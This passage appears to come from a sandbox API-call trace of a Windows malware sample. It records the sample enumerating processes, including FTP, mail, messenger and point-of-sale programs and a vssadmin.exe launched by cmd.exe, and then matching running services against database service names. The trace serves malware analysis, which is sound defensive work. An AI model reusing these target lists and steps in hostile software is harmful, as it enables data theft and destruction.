dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0073.258] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0073.258] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0073.258] lstrlenW (lpString="prospects.exe") returned 13 [0073.259] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0073.259] lstrlenW (lpString="signalpackard.exe") returned 17 [0073.259] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0073.259] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0073.259] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0073.260] lstrlenW (lpString="release.exe") returned 11 [0073.260] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0073.260] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0073.260] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0073.590] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0073.593] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0073.600] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0073.601] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0073.608] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0073.609] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0073.611] lstrlenW (lpString="stickers_nations.exe") returned 20 [0073.612] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0073.614] lstrlenW (lpString="initiated-scary.exe") returned 19 [0073.615] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0073.624] lstrlenW (lpString="3dftp.exe") returned 9 [0073.624] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0073.625] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0073.625] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0073.625] lstrlenW (lpString="alftp.exe") returned 9 [0073.625] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0073.626] lstrlenW (lpString="barca.exe") returned 9 [0073.626] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0073.626] lstrlenW (lpString="bitkinex.exe") returned 12 [0073.626] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0073.626] lstrlenW (lpString="coreftp.exe") returned 11 [0073.627] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0073.627] lstrlenW (lpString="far.exe") returned 7 [0073.627] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0073.627] lstrlenW (lpString="filezilla.exe") returned 13 [0073.627] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0073.628] lstrlenW (lpString="flashfxp.exe") returned 12 [0073.628] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0073.628] lstrlenW (lpString="fling.exe") returned 9 [0073.628] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0073.629] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0073.629] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0073.629] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0073.629] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0073.629] lstrlenW (lpString="icq.exe") returned 7 [0073.630] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0073.630] lstrlenW (lpString="leechftp.exe") returned 12 [0073.630] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0073.630] lstrlenW (lpString="ncftp.exe") returned 9 [0073.630] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0073.631] lstrlenW (lpString="notepad.exe") returned 11 [0073.631] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0073.631] lstrlenW (lpString="operamail.exe") returned 13 [0073.631] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0073.632] lstrlenW (lpString="pidgin.exe") returned 10 [0073.632] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0073.632] lstrlenW (lpString="scriptftp.exe") returned 13 [0073.632] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0073.633] lstrlenW (lpString="skype.exe") returned 9 [0073.633] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0073.633] lstrlenW (lpString="smartftp.exe") returned 12 [0073.633] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0073.634] lstrlenW (lpString="thunderbird.exe") returned 15 [0073.634] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0073.634] lstrlenW (lpString="totalcmd.exe") returned 12 [0073.634] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0073.634] lstrlenW (lpString="trillian.exe") returned 12 [0073.634] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0073.635] lstrlenW (lpString="webdrive.exe") returned 12 [0073.635] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0073.635] lstrlenW (lpString="whatsapp.exe") returned 12 [0073.635] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0073.636] lstrlenW (lpString="winscp.exe") returned 10 [0073.636] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0073.636] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0073.636] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0073.637] lstrlenW (lpString="active-charge.exe") returned 17 [0073.637] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0073.637] lstrlenW (lpString="accupos.exe") returned 11 [0073.637] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0073.637] lstrlenW (lpString="afr38.exe") returned 9 [0073.637] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0073.638] lstrlenW (lpString="aldelo.exe") returned 10 [0073.638] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0073.638] lstrlenW (lpString="ccv_server.exe") returned 14 [0073.638] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0073.639] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0073.639] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0073.639] lstrlenW (lpString="creditservice.exe") returned 17 [0073.639] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0073.639] lstrlenW (lpString="edcsvr.exe") returned 10 [0073.639] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0073.640] lstrlenW (lpString="fpos.exe") returned 8 [0073.640] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0073.640] lstrlenW (lpString="isspos.exe") returned 10 [0073.640] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0073.641] lstrlenW (lpString="mxslipstream.exe") returned 16 [0073.641] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0073.641] lstrlenW (lpString="omnipos.exe") returned 11 [0073.641] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0073.642] lstrlenW (lpString="spcwin.exe") returned 10 [0073.642] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0073.642] lstrlenW (lpString="spgagentservice.exe") returned 19 [0073.642] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0073.642] lstrlenW (lpString="utg2.exe") returned 8 [0073.642] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0073.643] lstrlenW (lpString="nj_sh.exe") returned 9 [0073.643] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0073.643] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0073.643] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0073.644] lstrlenW (lpString="telecommunications.exe") returned 22 [0073.644] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0073.644] lstrlenW (lpString="sound banking.exe") returned 17 [0073.644] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.645] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0073.645] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.645] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0073.645] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.645] lstrlenW (lpString="taskhost.exe") returned 12 [0073.645] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0073.646] lstrlenW (lpString="winhost.exe") returned 11 [0073.646] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.646] lstrlenW (lpString="cmd.exe") returned 7 [0073.646] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.646] lstrlenW (lpString="conhost.exe") returned 11 [0073.646] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0073.647] lstrlenW (lpString="vssadmin.exe") returned 12 [0073.647] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0073.647] lstrlenW (lpString="VSSVC.exe") returned 9 [0073.647] Process32NextW (in: hSnapshot=0x1d4, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0073.648] CloseHandle (hObject=0x1d4) returned 1 [0073.648] Sleep (dwMilliseconds=0x1f4) [0074.295] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ffa0 [0074.296] EnumServicesStatusExW (in: hSCManager=0x52ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0074.296] GetLastError () returned 0xea [0074.296] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x3959740 [0074.296] EnumServicesStatusExW (in: hSCManager=0x52ffa0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3959740, cbBufSize=0x12c6, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3959740, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0074.297] CloseServiceHandle (hSCObject=0x52ffa0) returned 1 [0074.297] lstrlenW (lpString="Appinfo") returned 7 [0074.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0074.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0074.297] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0074.297] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0074.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0074.298] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0074.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0074.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0074.298] 